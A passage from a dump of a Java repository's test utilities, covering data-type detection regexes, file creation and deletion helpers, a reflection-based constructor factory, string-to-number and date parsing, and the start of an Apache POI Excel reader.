INTEGER_PTRN = Pattern\n\t\t\t.compile(\"^(?:0|[1-9]\\\\d*)(?:\\\\.0*)?$\");\n\tprivate static final Pattern BOOLEAN_PTRN = Pattern.compile(\"^[01是否真假]$\");\n\n\t/**\n\t * @author Wujun\n\t * @param arg\n\t * @return\n\t */\n\tpublic static boolean isYMDT(String arg) {\n\t\tMatcher m = DATE_PTRN1.matcher(arg);\n\t\treturn m.matches();\n\t}\n\n\t/**\n\t * 如果所给字符串中 时分秒都是0，也返回true\n\t * \n\t * @author Wujun\n\t * @return\n\t */\n\tpublic static boolean isYMD(String arg) {\n\t\tboolean re = false;\n\t\t/*Matcher m3 = DATE_PTRN3.matcher(arg);\n\t\tif (m3.matches()) {\n\t\t\tre = true;\n\t\t}*/\n\t\tif (!re) {\n\t\t\tMatcher m = DATE_PTRN2.matcher(arg);\n\t\t\tre=m.matches();\n\t\t}\n\t\treturn re;\n\t}\n\n\t/**\n\t * 判读参数是不是日期类型<br>\n\t * 支持的格式为 （年月日时分秒）顺序的字符串。<br>\n\t * 例如：1900年1月12日,1900-1-12 12:12:10等\n\t * \n\t * @param arg\n\t * @return\n\t */\n\tpublic static boolean isDateType(String arg) {\n\t\tboolean result = false;\n\t\tMatcher m = DATE_PTRN.matcher(arg);\n\t\tresult = m.matches();\n\t\tif (!result) {\n\t\t\tresult = isYMDT(arg);\n\t\t}\n\t\tif (!result) {\n\t\t\tresult = isYMD(arg);\n\t\t}\n\t\treturn result;\n\t}\n\n\tpublic static boolean isNumType(String arg) {\n\t\tMatcher m = NUMBER_PTRN.matcher(arg);\n\t\treturn m.matches() ;\n\t}\n\n\t/**\n\t * 只要可以无损转换为整形的都认为是int类型，没有考虑int范围例如：12.0000\n\t * \n\t * @param arg\n\t * @return\n\t */\n\tpublic static boolean isIntegerType(String arg) {\n\t\tMatcher m = INTEGER_PTRN.matcher(arg);\n\t\tif(!m.matches()){\n\t\t\treturn false;\n\t\t}\n\t\tString str = arg.replaceFirst(\"\\\\.\\\\d*\", \"\");\n\t\t\n\t\t\n\t\treturn ( str.length()<=String.valueOf(Integer.MAX_VALUE).length()&& (\"2147483647\".compareTo(str)>0));\n\n\t}\n\n\t/**\n\t * @param arg\n\t * @return\n\t */\n\tpublic static boolean isBooleanType(String arg) {\n\t\tMatcher m = BOOLEAN_PTRN.matcher(arg);\n\t\treturn m.matches();\n\n\t}\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_poi/src/test/java/com/jun/plugin/poi/test/utils/FileCreateUtils.java",
    "content": "package com.jun.plugin.poi.test.utils;\n\nimport java.io.File;\nimport java.io.IOException;\n/**\n * 文件的创建删除类\n * @author Wujun\n *\n */\npublic class FileCreateUtils {\n\tpublic static File createFolderPath(String path) {\n\t\tFile file = new File(path);\n\t\tif (!file.exists()) {\n\t\t\tfile.mkdirs();\n\t\t}\n\t\treturn file;\n\t}\n\n\tpublic static File createchildFolder(String parent, String childName) {\n\t\tFile file = new File(createFolderPath(parent), childName);\n\t\tfile.mkdir();\n\t\treturn file;\n\t}\n\n\tpublic static File createchildFolder(File parent, String childName) {\n\t\tFile file = new File(parent, childName);\n\t\tfile.mkdirs();\n\t\treturn file;\n\t}\n\n\tpublic static File createFile(String path) {\n\t\tFile file = new File(path);\n\t\tFile parent = file.getParentFile();\n\t\tString fileName = file.getName();\n\t\tif (parent == null) {\n\n\t\t\ttry {\n\t\t\t\tfile.createNewFile();\n\t\t\t} catch (IOException e) {\n\t\t\t\t\n\t\t\t}\n\t\t\treturn file;\n\t\t}\n\t\treturn createFile(parent, fileName);\n\n\t}\n\n\tpublic static boolean isExists(String Path) {\n\t\tFile file = new File(Path);\n\n\t\treturn file.exists();\n\t}\n\n\tpublic static boolean deleteFile(String fullPath) {\n\t\tFile file = new File(fullPath);\n\t\tif (file.isFile()) {\n\t\t\treturn file.delete();\n\t\t}\n\t\treturn false;\n\t}\n\n\tpublic static File createFile(String parent, String fileName) {\n\t\tFile file = new File(parent);\n\t\treturn createFile(file, fileName);\n\t}\n\n\tpublic static File createFile(File parent, String fileName) {\n\n\t\tFile file = new File(parent, fileName);\n\n\t\ttry {\n\n\t\t\tif (!parent.exists()) {\n\t\t\t\tparent.mkdirs();\n\t\t\t}\n\n\t\t\tfile.createNewFile();\n\t\t} catch (IOException e) {\n\t\t\t\n\t\t\treturn null;\n\t\t}\n\t\treturn file;\n\t}\n\n\tpublic static boolean deleteDir(File dir) {\n\t\tif (dir.isDirectory()) {\n\t\t\tFile[] children = dir.listFiles();\n\t\t\t// 递归删除目录中的子目录下\n\t\t\tfor (int i = 0; i < children.length; i++) {\n\t\t\t\tboolean success = deleteDir(children[i]);\n\t\t\t\tif (!success) {\n\t\t\t\t\treturn false;\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t\t// 目录此时为空，可以删除\n\t\treturn dir.delete();\n\t}\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_poi/src/test/java/com/jun/plugin/poi/test/utils/ReflectDependencyFactory.java",
    "content": "package com.jun.plugin.poi.test.utils;\n\nimport java.lang.reflect.Constructor;\nimport java.lang.reflect.InvocationTargetException;\nimport java.util.ArrayList;\nimport java.util.Arrays;\nimport java.util.Comparator;\nimport java.util.List;\nimport com.google.common.primitives.Primitives;\n\n/**\n * @author Wujun\n * \n * @date 2016-2-29 Description:\n * \n */\n\npublic class ReflectDependencyFactory {\n\t/**\n\t * 根据参数数组，构造实例\n\t * @param type object类型\n\t * @param args 参数\n\t * @return\n\t */\n\t\n\tpublic static Object newInstance(final Class type,\n\t\t\tfinal Object[] args) {\n\t\tif (args != null && args.length > 50) {\n\t\t\tthrow new IllegalArgumentException(\n\t\t\t\t\t\"More than 50 arguments are not supported\");\n\t\t}\n\t\tConstructor bestMatchingCtor = null;\n\t\tfinal ArrayList matchingDependencies = new ArrayList();\n\t\tList possibleMatchingDependencies = null;\n\t\tlong usedDeps = 0;\n\t\tlong possibleUsedDeps = 0;\n\n\t\tif (args != null && args.length > 0) {\n\t\t\t// sort available ctors according their arity, desc\n\t\t\tfinal Constructor[] ctors = type.getConstructors();\n\t\t\tif (ctors.length > 1) {\n\t\t\t\tArrays.sort(ctors, new Comparator() {\n\t\t\t\t\tpublic int compare(final Object o1, final Object o2) {\n\t\t\t\t\t\treturn ((Constructor) o2).getParameterTypes().length\n\t\t\t\t\t\t\t\t- ((Constructor) o1).getParameterTypes().length;\n\t\t\t\t\t}\n\t\t\t\t});\n\t\t\t}\n\n\t\t\tfinal TypedValue[] typedDependencies = new TypedValue[args.length];\n\t\t\tfor (int i = 0; i < args.length; i++) {\n\t\t\t\tObject dependency = args[i];\n\t\t\t\tClass depType = dependency.getClass();\n\t\t\t\tif (depType.isPrimitive()) {\n\t\t\t\t\tdepType = Primitives.wrap(depType);\n\t\t\t\t} \n\t\t\t\t//传入之前，没有考虑null值的转换。\n\n\t\t\t\ttypedDependencies[i] = new TypedValue(depType, dependency);\n\t\t\t}\n\n\t\t\tConstructor possibleCtor = null;\n\t\t\tint arity = Integer.MAX_VALUE;\n\t\t\tfor (int i = 0; bestMatchingCtor == null && i < ctors.length; i++) {\n\t\t\t\tfinal Constructor constructor = ctors[i];\n\t\t\t\tfinal Class[] parameterTypes = constructor.getParameterTypes();\n\t\t\t\tif (parameterTypes.length > args.length) {\n\t\t\t\t\tcontinue;\n\t\t\t\t} else if (parameterTypes.length == 0) {\n\t\t\t\t\tif (possibleCtor == null) {\n\t\t\t\t\t\tbestMatchingCtor = constructor;\n\t\t\t\t\t}\n\t\t\t\t\tbreak;\n\t\t\t\t}\n\t\t\t\tif (arity > parameterTypes.length) {\n\t\t\t\t\tif (possibleCtor != null) {\n\t\t\t\t\t\tcontinue;\n\t\t\t\t\t}\n\t\t\t\t\tarity = parameterTypes.length;\n\t\t\t\t}\n\n\t\t\t\tfor (int j = 0; j < parameterTypes.length; j++) {\n\t\t\t\t\tif (parameterTypes[j].isPrimitive()) {\n\t\t\t\t\t\tparameterTypes[j] = Primitives.wrap(parameterTypes[j]);\n\t\t\t\t\t}\n\t\t\t\t}\n\n\t\t\t\t// first approach: test the ctor params against the dependencies\n\t\t\t\t// in the sequence\n\t\t\t\t// of the parameter declaration\n\t\t\t\tmatchingDependencies.clear();\n\t\t\t\tusedDeps = 0;\n\t\t\t\t\n\t\t\t\tfor (int j = 0, k = 0; j < parameterTypes.length\n\t\t\t\t\t\t&& parameterTypes.length + k - j <= typedDependencies.length; k++) {\n\t\t\t\t\t//确保有一个参数能对上\n\t\t\t\t\tif (parameterTypes[j].isAssignableFrom(typedDependencies[k].type)) {\n\t\t\t\t\t\tmatchingDependencies.add(typedDependencies[k].value);\n\t\t\t\t\t\tusedDeps |= 1L << k;\n\t\t\t\t\t\tif (++j == parameterTypes.length) {\n\t\t\t\t\t\t\tbestMatchingCtor = constructor;\n\t\t\t\t\t\t\tbreak;\n\t\t\t\t\t\t}\n\t\t\t\t\t}\n\t\t\t\t}\n\n\t\t\t\tif (bestMatchingCtor == null) {\n\t\t\t\t\tboolean possible = true; // assumption\n\n\t\t\t\t\t// try to match all dependencies in the sequence of the\n\t\t\t\t\t// parameter\n\t\t\t\t\t// declaration\n\t\t\t\t\tfinal TypedValue[] deps = new TypedValue[typedDependencies.length];\n\t\t\t\t\tSystem.arraycopy(typedDependencies, 0, deps, 0, deps.length);\n\t\t\t\t\tmatchingDependencies.clear();\n\t\t\t\t\tusedDeps = 0;\n\t\t\t\t\tfor (int j = 0; j < parameterTypes.length; j++) {\n\t\t\t\t\t\tint assignable = -1;\n\t\t\t\t\t\tfor (int k = 0; k < deps.length; k++) {\n\t\t\t\t\t\t\tif (deps[k] == null) {\n\t\t\t\t\t\t\t\tcontinue;\n\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\tif (deps[k].type == parameterTypes[j]) {\n\t\t\t\t\t\t\t\tassignable = k;\n\t\t\t\t\t\t\t\t// optimal match\n\t\t\t\t\t\t\t\tbreak;\n\t\t\t\t\t\t\t} else if (parameterTypes[j]\n\t\t\t\t\t\t\t\t\t.isAssignableFrom(deps[k].type)) {\n\t\t\t\t\t\t\t\t// use most specific type\n\t\t\t\t\t\t\t\tif (assignable < 0\n\t\t\t\t\t\t\t\t\t\t|| (deps[assignable].type != deps[k].type && deps[assignable].type\n\t\t\t\t\t\t\t\t\t\t\t\t.isAssignableFrom(deps[k].type))) {\n\t\t\t\t\t\t\t\t\tassignable = k;\n\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t}\n\t\t\t\t\t\t}\n\n\t\t\t\t\t\tif (assignable >= 0) {\n\t\t\t\t\t\t\tmatchingDependencies.add(deps[assignable].value);\n\t\t\t\t\t\t\tusedDeps |= 1L << assignable;\n\t\t\t\t\t\t\tdeps[assignable] = null; // do not match same dep\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t// twice\n\t\t\t\t\t\t} else {\n\t\t\t\t\t\t\tpossible = false;\n\t\t\t\t\t\t\tbreak;\n\t\t\t\t\t\t}\n\t\t\t\t\t}\n\n\t\t\t\t\tif (possible) {\n\t\t\t\t\t\t// the smaller the value, the smaller the indices in the\n\t\t\t\t\t\t// deps array\n\t\t\t\t\t\tif (possibleCtor != null\n\t\t\t\t\t\t\t\t&& usedDeps >= possibleUsedDeps) {\n\t\t\t\t\t\t\tcontinue;\n\t\t\t\t\t\t}\n\t\t\t\t\t\tpossibleCtor = constructor;\n\t\t\t\t\t\tpossibleMatchingDependencies = (List) matchingDependencies\n\t\t\t\t\t\t\t\t.clone();\n\t\t\t\t\t\tpossibleUsedDeps = usedDeps;\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t}\n\n\t\t\tif (bestMatchingCtor == null) {\n\t\t\t\tif (possibleCtor == null) {\n\t\t\t\t\tusedDeps = 0;\n\t\t\t\t\tthrow new IllegalArgumentException(\n\t\t\t\t\t\t\t\"Cannot construct \"\n\t\t\t\t\t\t\t\t\t+ type.getName()\n\t\t\t\t\t\t\t\t\t+ \", none of the dependencies match any constructor's parameters\");\n\t\t\t\t} else {\n\t\t\t\t\tbestMatchingCtor = possibleCtor;\n\t\t\t\t\tmatchingDependencies.clear();\n\t\t\t\t\tmatchingDependencies.addAll(possibleMatchingDependencies);\n\t\t\t\t\tusedDeps = possibleUsedDeps;\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\n\t\ttry {\n\t\t\tfinal Object instance;\n\t\t\tif (bestMatchingCtor == null) {\n\t\t\t\tinstance = type.newInstance();\n\t\t\t} else {\n\t\t\t\tinstance = bestMatchingCtor.newInstance(matchingDependencies\n\t\t\t\t\t\t.toArray());\n\t\t\t}\n\t\t\t\n\t\t\treturn instance;\n\t\t} catch (final InstantiationException e) {\n\t\t\tthrow new IllegalArgumentException(\"Cannot construct \"\n\t\t\t\t\t+ type.getName(), e);\n\t\t} catch (final IllegalAccessException e) {\n\t\t\tthrow new IllegalArgumentException(\"Cannot construct \"\n\t\t\t\t\t+ type.getName(), e);\n\t\t} catch (final InvocationTargetException e) {\n\t\t\tthrow new IllegalArgumentException(\"Cannot construct \"\n\t\t\t\t\t+ type.getName(), e);\n\t\t} catch (final SecurityException e) {\n\t\t\tthrow new IllegalArgumentException(\"Cannot construct \"\n\t\t\t\t\t+ type.getName(), e);\n\t\t} catch (final ExceptionInInitializerError e) {\n\t\t\tthrow new IllegalArgumentException(\"Cannot construct \"\n\t\t\t\t\t+ type.getName(), e);\n\t\t}\n\t}\n\n\tprivate static class TypedValue {\n\t\tfinal Class type;\n\t\tfinal Object value;\n\n\t\tpublic TypedValue(final Class type, final Object value) {\n\t\t\tsuper();\n\t\t\tthis.type = type;\n\t\t\tthis.value = value;\n\t\t}\n\n\t\tpublic String toString() {\n\t\t\treturn type.getName() + \":\" + value;\n\t\t}\n\t}\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_poi/src/test/java/com/jun/plugin/poi/test/utils/StringParseUtil.java",
    "content": "package com.jun.plugin.poi.test.utils;\n\n\nimport java.text.ParseException;\nimport java.text.SimpleDateFormat;\nimport java.util.Date;\nimport java.util.regex.Matcher;\nimport java.util.regex.Pattern;\n\n\nimport org.apache.commons.lang3.ArrayUtils;\nimport org.apache.commons.lang3.StringUtils;\nimport org.apache.poi.ss.usermodel.DateUtil;\n\nimport com.google.common.base.Strings;\n\n/**\n * @author Wujun\n *\n * @date 2016-3-21\n * Description: MayBe is's useful \n */\npublic class StringParseUtil {\n\t\n\n\t/**\n\t * Parses the string argument as a boolean. The {@code boolean} returned\n\t * represents the value {@code true} if the string argument is not\n\t * {@code null} and is equal, ignoring case, to the string {@code \"true\"},\n\t * {@code \"yes\"},{@code \"是\"},{@code \"a\"} etc.\n\t * <p>\n\t * Example: {@code Boolean.parseBoolean(\"True\")} returns {@code true}.<br>\n\t * Example: {@code Boolean.parseBoolean(\"N\")} returns {@code false}.\n\t * Example: {@code Boolean.parseBoolean(\"No\")} returns {@code false}.\n\t * \n\t * @param s\n\t *            the {@code String} containing the boolean representation to be\n\t *            parsed\n\t * @return the boolean represented by the string argument\n\t */\n\tpublic static boolean parseBoolean(String s) {\n\n\t\treturn ((!Strings.isNullOrEmpty(s) )&& toBoolean(s));\n\t}\n\n\tprivate static boolean toBoolean(String name) {\n\t\tif (name.equalsIgnoreCase(\"false\") || name.equalsIgnoreCase(\"no\")) {\n\t\t\treturn false;\n\t\t}\n\n\t\tif (ArrayUtils.contains(new String[] { \"否\", \"假\", \"N\", \"n\", \"0\" }, name)) {\n\t\t\treturn false;\n\t\t}\n\n\t\treturn true;\n\t}\n\n\tstatic final Pattern FLOATING_POINT_PATTERN = fpPattern();\n\tstatic final Pattern FLOATING_POINT_PATTERN1 = Pattern\n\t\t\t.compile(\"0[xX](?:\\\\p{XDigit}++(?:\\\\.\\\\p{XDigit}*+)?|\\\\.\\\\p{XDigit}++)\");\n\tstatic final Pattern CURRENCY_POINT_PATTERN = Pattern\n\t\t\t.compile(\"(?<=^[$￥])(?:\\\\d++(?:\\\\.\\\\d*+)?|\\\\.\\\\d++)$\");\n\tstatic final Pattern FRACTION_POINT_PATTERN = Pattern\n\t\t\t.compile(\"^-?(?:0|[1-9]\\\\d*)/-?[1-9]\\\\d*$\");\n\tstatic final Pattern PERCENT_POINT_PATTERN = Pattern\n\t\t\t.compile(\"^(?:[1-9]\\\\d*(?:\\\\.\\\\d*+)?|0?\\\\.\\\\d++)(?=%$)\");\n\n\tprivate static Pattern fpPattern() {\n\t\tString decimal = \"(?:\\\\d++(?:\\\\.\\\\d*+)?|\\\\.\\\\d++)\";\n\t\tString completeDec = decimal + \"(?:[eE][+-]?\\\\d++)?[fFdD]?\";\n\t\tString hex = \"(?:\\\\p{XDigit}++(?:\\\\.\\\\p{XDigit}*+)?|\\\\.\\\\p{XDigit}++)\";\n\t\tString completeHex = \"0[xX]\" + hex + \"[pP][+-]?\\\\d++[fFdD]?\";\n\t\tString fpPattern = \"[+-]?(?:NaN|Infinity|\" + completeDec + \"|\"\n\t\t\t\t+ completeHex + \")\";\n\t\treturn Pattern.compile(fpPattern);\n\t}\n\n\t/**\n\t * Parses the specified string as a double-precision floating point value.\n\t * The ASCII character {@code '-'} (<code>'&#92;u002D'</code>) is recognized\n\t * as the minus sign.\n\t * \n\t * @param string\n\t *            the string representation of a {@code double} value\n\t * @return the floating point value represented by {@code string}, or\n\t *         {@code null} if {@code string} has a length of zero or cannot be\n\t *         parsed as a {@code double} value\n\t * @throws ParseException \n\t */\n\tpublic static Double parseDouble(String string) throws ParseException {\n\t\tif (StringUtils.isBlank(string)) {\n\t\t\treturn null;\n\t\t}\n\t\tif (FLOATING_POINT_PATTERN.matcher(string).matches()) {\n\t\t\t// TODO(user): could be potentially optimized, but only with\n\t\t\t// extensive testing\n\t\t\t\n\t\t\t\treturn Double.parseDouble(string);\n\t\t\t\n\t\t}\n\t\t// currency formater\n\t\tMatcher matcher = CURRENCY_POINT_PATTERN.matcher(string);\n\t\tif (matcher.find()) {\n\t\t\t\n\t\t\t\treturn Double.parseDouble(matcher.group());\n\t\t\t\n\t\t}\n\t\t// percent formater\n\t\t matcher = PERCENT_POINT_PATTERN.matcher(string);\n\t\tif (matcher.find()) {\n\t\t\t\n\t\t\t\tchar[] charArray = matcher.group().toCharArray();\n\t\t\t\tint pIndex=charArray.length;\n\t\t\t\tStringBuilder sb=new StringBuilder();\n\t\t\t\tfor (int i=0;i<charArray.length;i++) {\n\t\t\t\t\tchar temp=charArray[i];\n\t\t\t\t\tif(temp=='.'){\n\t\t\t\t\t\tpIndex=i;\n\t\t\t\t\t}else{\n\t\t\t\t\t\tsb.append(temp);\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t\tpIndex-=2;\n\t\t\t\twhile(pIndex<0){\n\t\t\t\t\tsb.insert(0,'0');\n\t\t\t\t\tpIndex++;\n\t\t\t\t}\n\t\t\t\tsb.insert(pIndex,'.');\n\t\t\t\t return parseDouble(sb.toString());\n\t\t\t\n\t\t}\n\t\t// fraction formater\n\t\tif (FRACTION_POINT_PATTERN.matcher(string).matches()) {\n\t\t\t\n\t\t\t\treturn parseFraction2Double(string);\n\t\t\t\n\t\t}\n\n\t\tif (DataTypeDetect.isDateType(string)) {\n\t\t\n\t\t\t\tDate date = convertYMDT2Date(string);\n\t\t\t\treturn convertToDaouble(date);\n\t\t\t\n\t\t}\n\n\t\tboolean b = FLOATING_POINT_PATTERN1.matcher(string).matches();\n\t\tif (b) {\n\t\t\tstring += \"p0\";\n\t\t\t\treturn Double.parseDouble(string);\n\t\t}\n\t\treturn null;\n\t}\n\n\t/**\n\t * Parses the string argument as a signed decimal integer.\n\t * \n\t * @param s\n\t *            a {@code String} containing the {@code int} representation to\n\t *            be parsed\n\t * @return Long or null if can't to be parsed;\n\t * @throws ParseException \n\t */\n\tpublic static Long parseInteger(String s) throws ParseException {\n\n\t\treturn parseInteger(s, 10);\n\t}\n\n\t/**\n\t * Parses the string argument as a signed {@code Date}.\n\t * \n\t * @param s\n\t *            a {@code String} containing the {@code int} representation to\n\t *            be parsed\n\t * @return  Date or null if can't be parsed\n\t * @throws ParseException \n\t */\n\tpublic static Date parseDate(String s) throws ParseException {\n\t\tif (DataTypeDetect.isDateType(s)) {\n\t\t\t\tDate date = convertYMDT2Date(s);\n\t\t\t\treturn date;\n\t\t}\n\t\tif(DataTypeDetect.isNumType(s)){\n\t\t\tDouble d = parseDouble(s);\n\t\t\t\tDate date=convertToDate(d);\n\t\t\t\treturn date;\n\t\t}\n\t\treturn null;\n\t}\n\n\t/**\n\t * 必须保证arg为日期类型，可用{@link DataTypeDetect#parseDouble(String)}\n\t * \n\t * @param arg\n\t * @return\n\t * @throws ParseException\n\t */\n\tpublic static Date convertYMDT2Date(String arg) throws ParseException {\n\t\tString temp;\n\t\ttemp = arg.replaceAll(\"[/\\\\\\\\年月_.]\", \"-\");\n\t\ttemp = temp.replaceAll(\"[日号]\", \" \");\n\t\ttemp = temp.replaceAll(\"[点时分秒]\", \":\");\n\n\t\tSimpleDateFormat format = new SimpleDateFormat(\"yy-MM-dd HH:mm:ss\");\n\t\ttry {\n\t\t\tDate date = format.parse(temp);\n\t\t\treturn date;\n\t\t} catch (ParseException e) {\n\t\t\ttry {\n\t\t\t\tformat.applyPattern(\"yy-MM-dd HH:mm\");\n\t\t\t\tDate date = format.parse(temp);\n\t\t\t\treturn date;\n\t\t\t} catch (ParseException e1) {\n\t\t\t\ttry {\n\t\t\t\t\tformat.applyPattern(\"yy-MM-dd HH\");\n\t\t\t\t\tDate date = format.parse(temp);\n\t\t\t\t\treturn date;\n\t\t\t\t} catch (ParseException e2) {\n\t\t\t\t\tformat = new SimpleDateFormat(\"yy-MM-dd\");\n\t\t\t\t\tDate date = format.parse(temp);\n\t\t\t\t\treturn date;\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\n\t}\n\n\tpublic static Long parseInteger(String string, int radix) throws ParseException {\n\t\tif (Strings.isNullOrEmpty(string)) {\n\t\t\treturn null;\n\t\t}\n\t\tif (radix == 10) {\n\t\t\tDouble d = parseDouble(string);\n\t\t\td.longValue();\n\t\t} else {\n\t\t\t// TODO the others neet to do\n\t\t}\n\t\treturn null;\n\t}\n\n\t/**\n\t * 只能用于excel数据类型\n\t * \n\t * @author Wujun\n\t * @param date\n\t * @return\n\t */\n\tstatic double convertToDaouble(Date date) {\n\t\treturn DateUtil.getExcelDate(date);\n\t}\n\n\tstatic Double parseFraction2Double(String string) {\n\t\tchar[] array = string.toCharArray();\n\t\tint numerator = 0;\n\t\tint denominator = 0;\n\t\tStringBuilder bd = new StringBuilder();\n\t\tboolean limit = true;\n\t\ttry {\n\t\t\tfor (char c : array) {\n\t\t\t\tif (c != '/') {\n\t\t\t\t\tbd.append(c);\n\n\t\t\t\t} else {\n\t\t\t\t\tif (limit) {\n\t\t\t\t\t\tnumerator = Integer.valueOf(bd.toString());\n\t\t\t\t\t}\n\t\t\t\t\tbd.setLength(0);\n\t\t\t\t\tlimit = false;\n\t\t\t\t}\n\t\t\t}\n\t\t\tdenominator = Integer.valueOf(bd.toString());\n\t\t\tif(numerator==0){\n\t\t\t\treturn 0d;\n\t\t\t}\n\t\t\tif (denominator != 0) {\n\t\t\t\treturn numerator / (double) denominator;\n\t\t\t}\n\t\t} catch (NumberFormatException e) {\n\n\t\t}\n\t\treturn null;\n\t}\n\n\t/**\n\t * @author Wujun\n\t * @param date\n\t * @return\n\t */\n\tstatic long convertToLong(Date date) {\n\t\treturn ((Double) convertToDaouble(date)).longValue();\n\t}\n\n\t/**\n\t * @author Wujun\n\t * @param d\n\t * @return\n\t */\n\tstatic Date convertToDate(double d) {\n\t\treturn DateUtil.getJavaDate(d);\n\t}\n\n\t/**\n\t * @author Wujun\n\t * @param l\n\t * @return\n\t */\n\tstatic Date convertToDate(long l) {\n\t\treturn convertToDate((double) l);\n\t}\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_poi/src/test/java/com/jun/plugin/poi/test2/ExcelReadHelper.java",
    "content": "/**\n * ExeclImportHelper.java类：本类位于insurance项目中的\n * com.magonchina.util包路径下，\n * 类具体的作用请参看代码中的文档注释。\n * \n * Created By 赵海龙\n */\npackage com.jun.plugin.poi.test2;\n\nimport java.io.File;\nimport java.io.FileInputStream;\nimport java.io.IOException;\nimport java.text.DateFormat;\nimport java.text.SimpleDateFormat;\nimport java.util.ArrayList;\nimport java.util.HashMap;\nimport java.util.List;\nimport java.util.Map;\n\nimport org.apache.poi.EncryptedDocumentException;\nimport org.apache.poi.openxml4j.exceptions.InvalidFormatException;\nimport org.apache.poi.ss.usermodel.Cell;\nimport org.apache.poi.ss.usermodel.DateUtil;\nimport org.apache.poi.ss.usermodel.Row;\nimport org.apache.poi.ss.usermodel.Sheet;\nimport org.apache.poi.ss.usermodel.Workbook;\nimport org.apache.poi.ss.usermodel.WorkbookFactory;\n\n/**.Excel导入工具类\n * @author Wujun\n * @version 1.0\n * @since 2016年5月13日 下午2:41:07\n */\npublic class ExcelReadHelper {\n    private Workbook workBook = null;\n    private List<String[]> excelData = null;\n    private String filePath;\n    \n    /**.\n     * 构造方法：\n     * @param filePath\n     * @throws IOException \n     * @throws InvalidFormatException \n     * @throws EncryptedDocumentException \n     */\n    public ExcelReadHelper(String filePath) throws EncryptedDocumentException, InvalidFormatException, IOException {\n        super();\n        this.filePath = filePath;\n        initWorkBook();\n    }\n    \n    \n    /**方法：获取workbook实例\n     * @author Wujun\n     * @version 1.0\n     * @since 2016年5月16日 下午3:20:20\n     * @return\n     */\n    public Workbook getWorkBook(){\n        return this.workBook;\n    }\n    /**.\n     * 方法：初始化workBook实例\n     * @throws EncryptedDocumentException\n     * @throws InvalidFormatException\n     * @throws IOException\n     */\n    private void initWorkBook() throws EncryptedDocumentException, InvalidFormatException, IOException{\n        if(filePath == null || filePath.trim().length() <= 0){\n            throw new InvalidFormatException(\"文件路径不能为空!\");\n        }\n        File file = new File(filePath);\n        FileInputStream fs = null;\n        if (file.exists() && file.length() > 0) {\n            if (suffixCheck(filePath)) {\n                fs = new FileInputStream(file);\n                workBook = WorkbookFactory.create(fs);\n            }else {\n                throw new IOException(\"文件不是合法Excel文件!\");\n            }\n        }else {\n            throw new IOException(\"文件不存在!\");\n        }\n    }\n    /**\n     * . 方法：获取导入Excel中的列数\n     * @param sheetIndex\n     * @return\n     */\n    public int getColumnNum(int sheetIndex, int columnIdex) {\n        Sheet sheet = workBook.getSheetAt(sheetIndex);\n        return sheet.getRow(columnIdex).getLastCellNum()\n                - sheet.getRow(columnIdex).getFirstCellNum();\n    }\n    \n    /**.\n     * 方法：读取Excel内容\n     * @param sheetIndex 需要读取的sheet索引\n     * @param title Excel表头，即：表格第一行的数据内容\n     * @param rowMapper 数据处理接口\n     */\n    public <T> List<T> readExcel(int sheetIndex, String[] title, ReadRowMapper<T> rowMapper) {\n        Sheet sheet = workBook.getSheetAt(sheetIndex);\n        List<T> list = new ArrayList<T>();\n        for (Row row : sheet) {\n            if(title == null && row.getRowNum() == 0){\n                title = this.getRowContent(row);\n                continue;\n            }\n            Map<String,Object> map = this.rowToMap(row, title);\n            list.add(rowMapper.rowMap(row,map));\n        }\n        return list;\n    }\n    \n    /**\n     * . 方法：读取指定Excel的内容\n     * \n     * @param sheetIndex\n     * @return\n     * @throws EncryptedDocumentException\n     * @throws InvalidFormatException\n     * @throws IOException\n     */\n    public List<String[]> readToStringList(int sheetIndex) throws EncryptedDocumentException,\n            InvalidFormatException, IOException {\n        excelData = new ArrayList<String[]>(100);\n        Sheet sheet = workBook.getSheetAt(sheetIndex);\n        for (Row row : sheet) {\n            excelData.add(this.getRowContent(row));\n        }\n        return excelData;\n    }\n    \n    /**.\n     * 方法：将Excel的每行数据转换为map，key为第一行数据的值\n     * @param row\n     * @param title 指定Excel的标题\n     * @return\n     */\n    public Map<String,Object> rowToMap(Row row,String[] title){\n        if(title == null && row.getRowNum() == 0){\n            title = this.getRowContent(row);\n        }\n        int columnNum = title.length;\n        \n        Map<String,Object> map = new HashMap<String, Object>(columnNum);\n        for (int i = 0; i < columnNum; i++) {\n            Cell cell = row.getCell(i, Row.CREATE_NULL_AS_BLANK);\n            switch (cell.getCellType()) {\n            case Cell.CELL_TYPE_BLANK:\n                map.put(title[i], \"\");\n                break;\n            case Cell.CELL_TYPE_BOOLEAN:\n                map.put(title[i], cell.getBooleanCellValue());\n                break;\n            case Cell.CELL_TYPE_NUMERIC:\n                if (DateUtil.isCellDateFormatted(cell)) {\n                    map.put(title[i], cell.getDateCellValue());\n                } else {\n                    map.put(title[i], cell.getNumericCellValue());\n                }\n                break;\n            case Cell.CELL_TYPE_STRING:\n                map.put(title[i], cell.getStringCellValue());\n                break;\n            case Cell.CELL_TYPE_ERROR:\n                map.put(title[i], \"\");\n                break;\n            case Cell.CELL_TYPE_FORMULA:\n                cell.setCellType(Cell.CELL_TYPE_STRING);\n                map.put(title[i], cell.getStringCellValue());\n                break;\n            default:\n                map.put(title[i], \"\");\n                break;\n            }\n        }\n        return map;\n    }\n    \n    /**\n     * . 方法：获取每一行的内容\n     * \n     * @param row\n     * @param columnNum\n     *            列数\n     * @return\n     */\n    public String[] getRowContent(Row row) {\n        int columnNum = row.getLastCellNum() - row.getFirstCellNum();\n        String[] singleRow = new String[columnNum];\n        for (int i = 0; i < columnNum; i++) {\n            Cell cell = row.getCell(i, Row.CREATE_NULL_AS_BLANK);\n            switch (cell.getCellType()) {\n            case Cell.CELL_TYPE_BLANK:\n                singleRow[i] = \"\";\n                break;\n            case Cell.CELL_TYPE_BOOLEAN:\n                singleRow[i] = Boolean.toString(cell.getBooleanCellValue());\n                break;\n            case Cell.CELL_TYPE_NUMERIC:\n                DateFormat format = new SimpleDateFormat(\"yyyy-MM-dd 